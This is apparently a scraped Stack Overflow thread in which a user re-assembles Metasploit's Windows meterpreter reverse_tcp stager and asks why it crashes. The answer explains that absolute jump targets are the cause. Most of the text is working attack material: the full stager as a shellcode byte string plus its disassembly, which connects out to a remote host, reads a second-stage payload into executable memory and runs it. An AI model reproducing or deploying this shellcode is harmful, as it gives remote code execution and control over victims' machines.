Why is this assembly program crashing (re-assembled ndisasm output)?

社会主义新天地 提交于 2021-01-29 12:39:57

问题


I extracted the assembly code of the windows/meterpreter/reverse_tcp payload with lhost set to 127.0.0.1 and lport set to 443, however after building the assembly program with fasm the program crashes, any ideas as to why?

assembly code:

format PE console
use32
entry start

start:
pusha
mov ebp,esp
xor edx,edx
mov edx,[fs:edx+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
xor edi,edi
movzx ecx,word [edx+0x26]
mov esi,[edx+0x28]
xor eax,eax
lodsb
cmp al,0x61
jl 0x27
sub al,0x20
ror edi, 0xd
add edi,eax
dec ecx
jnz 0x1e
push edx
push edi
mov edx,[edx+0x10]
mov eax,[edx+0x3c]
add eax,edx
mov eax,[eax+0x78]
test eax,eax
jz 0x8c
add eax,edx
push eax
mov ebx,[eax+0x20]
add ebx,edx
mov ecx,[eax+0x18]
test ecx,ecx
jz 0x8b
xor edi,edi
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor eax,eax
ror edi, 0xd
lodsb
add edi,eax
cmp al,ah
jnz 0x57
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz 0x4b
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx,[edx]
jmp 0x15
pop ebp
push dword 0x5f327377
push esp
push dword 0x726774c
mov eax,ebp
call eax
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push  0xa
push dword 0xf201a8c0
push dword 0xbb010002
mov esi,esp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push dword 0xe0df0fea
call ebp
xchg eax,edi
push 0x10
push esi
push edi
push dword 0x6174a599
call ebp
test eax,eax
jz 0xf1
dec dword [esi+0x8]
jnz 0xd8
push 0x0
push 0x4
push esi
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jng 0x139
mov esi,[esi]
push  0x40
push esi
push  0x0
push dword 0xe553a458
call ebp
xchg eax,ebx
push ebx
push  0x0
push esi
push ebx
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jnl 0x151
pop eax
push  0x0
push eax
push dword 0x300f2f0b
call ebp
push edi
push dword 0x614d6e75
call ebp
pop esi
pop esi
dec dword [esp]
jnz near 0xbc
jmp 0xec
add ebx,eax
sub esi,eax
jnz 0x118
ret
mov ebx,0x56a2b5f0
push  0x0
push ebx
call ebp

I'm compiling and running within a windows 7 environment.

I believe it may be because of the push <single_byte> instructions de-aligning the stack, however I'm not sure and inexperienced with assembly, hopefully someone in the community can help me understand what's causing the crash, thanks.

output of:

python -c 'open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xf2\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")' && ndisasm -b 32 out.bin
00000000  FC                cld
00000001  E88F000000        call 0x95
00000006  60                pusha
00000007  89E5              mov ebp,esp
00000009  31D2              xor edx,edx
0000000B  648B5230          mov edx,[fs:edx+0x30]
0000000F  8B520C            mov edx,[edx+0xc]
00000012  8B5214            mov edx,[edx+0x14]
00000015  31FF              xor edi,edi
00000017  0FB74A26          movzx ecx,word [edx+0x26]
0000001B  8B7228            mov esi,[edx+0x28]
0000001E  31C0              xor eax,eax
00000020  AC                lodsb
00000021  3C61              cmp al,0x61
00000023  7C02              jl 0x27
00000025  2C20              sub al,0x20
00000027  C1CF0D            ror edi,byte 0xd
0000002A  01C7              add edi,eax
0000002C  49                dec ecx
0000002D  75EF              jnz 0x1e
0000002F  52                push edx
00000030  57                push edi
00000031  8B5210            mov edx,[edx+0x10]
00000034  8B423C            mov eax,[edx+0x3c]
00000037  01D0              add eax,edx
00000039  8B4078            mov eax,[eax+0x78]
0000003C  85C0              test eax,eax
0000003E  744C              jz 0x8c
00000040  01D0              add eax,edx
00000042  50                push eax
00000043  8B5820            mov ebx,[eax+0x20]
00000046  01D3              add ebx,edx
00000048  8B4818            mov ecx,[eax+0x18]
0000004B  85C9              test ecx,ecx
0000004D  743C              jz 0x8b
0000004F  31FF              xor edi,edi
00000051  49                dec ecx
00000052  8B348B            mov esi,[ebx+ecx*4]
00000055  01D6              add esi,edx
00000057  31C0              xor eax,eax
00000059  C1CF0D            ror edi,byte 0xd
0000005C  AC                lodsb
0000005D  01C7              add edi,eax
0000005F  38E0              cmp al,ah
00000061  75F4              jnz 0x57
00000063  037DF8            add edi,[ebp-0x8]
00000066  3B7D24            cmp edi,[ebp+0x24]
00000069  75E0              jnz 0x4b
0000006B  58                pop eax
0000006C  8B5824            mov ebx,[eax+0x24]
0000006F  01D3              add ebx,edx
00000071  668B0C4B          mov cx,[ebx+ecx*2]
00000075  8B581C            mov ebx,[eax+0x1c]
00000078  01D3              add ebx,edx
0000007A  8B048B            mov eax,[ebx+ecx*4]
0000007D  01D0              add eax,edx
0000007F  89442424          mov [esp+0x24],eax
00000083  5B                pop ebx
00000084  5B                pop ebx
00000085  61                popa
00000086  59                pop ecx
00000087  5A                pop edx
00000088  51                push ecx
00000089  FFE0              jmp eax
0000008B  58                pop eax
0000008C  5F                pop edi
0000008D  5A                pop edx
0000008E  8B12              mov edx,[edx]
00000090  E980FFFFFF        jmp 0x15
00000095  5D                pop ebp
00000096  6833320000        push dword 0x3233
0000009B  687773325F        push dword 0x5f327377
000000A0  54                push esp
000000A1  684C772607        push dword 0x726774c
000000A6  89E8              mov eax,ebp
000000A8  FFD0              call eax
000000AA  B890010000        mov eax,0x190
000000AF  29C4              sub esp,eax
000000B1  54                push esp
000000B2  50                push eax
000000B3  6829806B00        push dword 0x6b8029
000000B8  FFD5              call ebp
000000BA  6A0A              push byte +0xa
000000BC  68C0A801F2        push dword 0xf201a8c0
000000C1  68020001BB        push dword 0xbb010002
000000C6  89E6              mov esi,esp
000000C8  50                push eax
000000C9  50                push eax
000000CA  50                push eax
000000CB  50                push eax
000000CC  40                inc eax
000000CD  50                push eax
000000CE  40                inc eax
000000CF  50                push eax
000000D0  68EA0FDFE0        push dword 0xe0df0fea
000000D5  FFD5              call ebp
000000D7  97                xchg eax,edi
000000D8  6A10              push byte +0x10
000000DA  56                push esi
000000DB  57                push edi
000000DC  6899A57461        push dword 0x6174a599
000000E1  FFD5              call ebp
000000E3  85C0              test eax,eax
000000E5  740A              jz 0xf1
000000E7  FF4E08            dec dword [esi+0x8]
000000EA  75EC              jnz 0xd8
000000EC  E867000000        call 0x158
000000F1  6A00              push byte +0x0
000000F3  6A04              push byte +0x4
000000F5  56                push esi
000000F6  57                push edi
000000F7  6802D9C85F        push dword 0x5fc8d902
000000FC  FFD5              call ebp
000000FE  83F800            cmp eax,byte +0x0
00000101  7E36              jng 0x139
00000103  8B36              mov esi,[esi]
00000105  6A40              push byte +0x40
00000107  6800100000        push dword 0x1000
0000010C  56                push esi
0000010D  6A00              push byte +0x0
0000010F  6858A453E5        push dword 0xe553a458
00000114  FFD5              call ebp
00000116  93                xchg eax,ebx
00000117  53                push ebx
00000118  6A00              push byte +0x0
0000011A  56                push esi
0000011B  53                push ebx
0000011C  57                push edi
0000011D  6802D9C85F        push dword 0x5fc8d902
00000122  FFD5              call ebp
00000124  83F800            cmp eax,byte +0x0
00000127  7D28              jnl 0x151
00000129  58                pop eax
0000012A  6800400000        push dword 0x4000
0000012F  6A00              push byte +0x0
00000131  50                push eax
00000132  680B2F0F30        push dword 0x300f2f0b
00000137  FFD5              call ebp
00000139  57                push edi
0000013A  68756E4D61        push dword 0x614d6e75
0000013F  FFD5              call ebp
00000141  5E                pop esi
00000142  5E                pop esi
00000143  FF0C24            dec dword [esp]
00000146  0F8570FFFFFF      jnz near 0xbc
0000014C  E99BFFFFFF        jmp 0xec
00000151  01C3              add ebx,eax
00000153  29C6              sub esi,eax
00000155  75C1              jnz 0x118
00000157  C3                ret
00000158  BBF0B5A256        mov ebx,0x56a2b5f0
0000015D  6A00              push byte +0x0
0000015F  53                push ebx
00000160  FFD5              call ebp

gdb output:

C:\Users\localbox\Desktop>gdb msf_shellcode.exe
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from C:\Users\localbox\Desktop\msf_shellcode.exe...(no debugging
 symbols found)...done.
(gdb) run
Starting program: C:\Users\localbox\Desktop/msf_shellcode.exe
[New Thread 2336.0xb00]

Program received signal SIGSEGV, Segmentation fault.
0x0000001e in ?? ()
(gdb) x/32xw $esp
0x6ff6c:        0x00000000      0x00000000      0x0006ff94      0x0006ff8c
0x6ff7c:        0x7ffd5000      0x00401000      0x00000000      0x772fef9a
0x6ff8c:        0x772fefac      0x7ffd5000      0x0006ffd4      0x77b33628
0x6ff9c:        0x7ffd5000      0x778d44b6      0x00000000      0x00000000
0x6ffac:        0x7ffd5000      0x00000000      0x00000000      0x00000000
0x6ffbc:        0x0006ffa0      0x00000000      0xffffffff      0x77aee325
0x6ffcc:        0x0039b51a      0x00000000      0x0006ffec      0x77b335fb
0x6ffdc:        0x00401000      0x7ffd5000      0x00000000      0x00000000
(gdb) info registers
eax            0x4d     77
ecx            0x23     35
edx            0x1f1ae8 2038504
ebx            0x7ffd5000       2147307520
esp            0x6ff6c  0x6ff6c
ebp            0x6ff6c  0x6ff6c
esi            0x1f1929 2038057
edi            0x4d     77
eip            0x1e     0x1e
eflags         0x10202  [ IF RF ]
cs             0x1b     27
ss             0x23     35
ds             0x23     35
es             0x23     35
fs             0x3b     59
gs             0x0      0

回答1:


You crashed with EIP=0x1e. That's because you told FASM to jump there, to that absolute address, with jnz 0x1e. That page of memory is not mapped into your user-space process, so code-fetch causes an "invalid" page fault, and consequently the OS stops your process.

In the ndisasm output, you can see that 1E is the 0000001E 31C0 xor eax,eax line. That's where that branch is supposed to jump (if taken). ndisasm is disassembling as if the block of machine code was loaded starting at absolute address 0, or you could say it's using relative addresses.

(jcc rel8 is of course in the machine code a relative jump; the original machine code is position independent. So is yours, except that jnz 0x1e tells FASM to figure out the relative offset necessary to reach EIP=0x1e from wherever this instruction will end up.)

Use a disassembler that uses labels for branch targets to make asm source you can actually re-assemble, like Agner Fog's objconv. It can disassemble into NASM/YASM, MASM, or GAS (.intel_syntax noprefix) syntax. NASM and FASM are very close in syntax, and that's what ndisasm make.



来源:https://stackoverflow.com/questions/65472194/why-is-this-assembly-program-crashing-re-assembled-ndisasm-output

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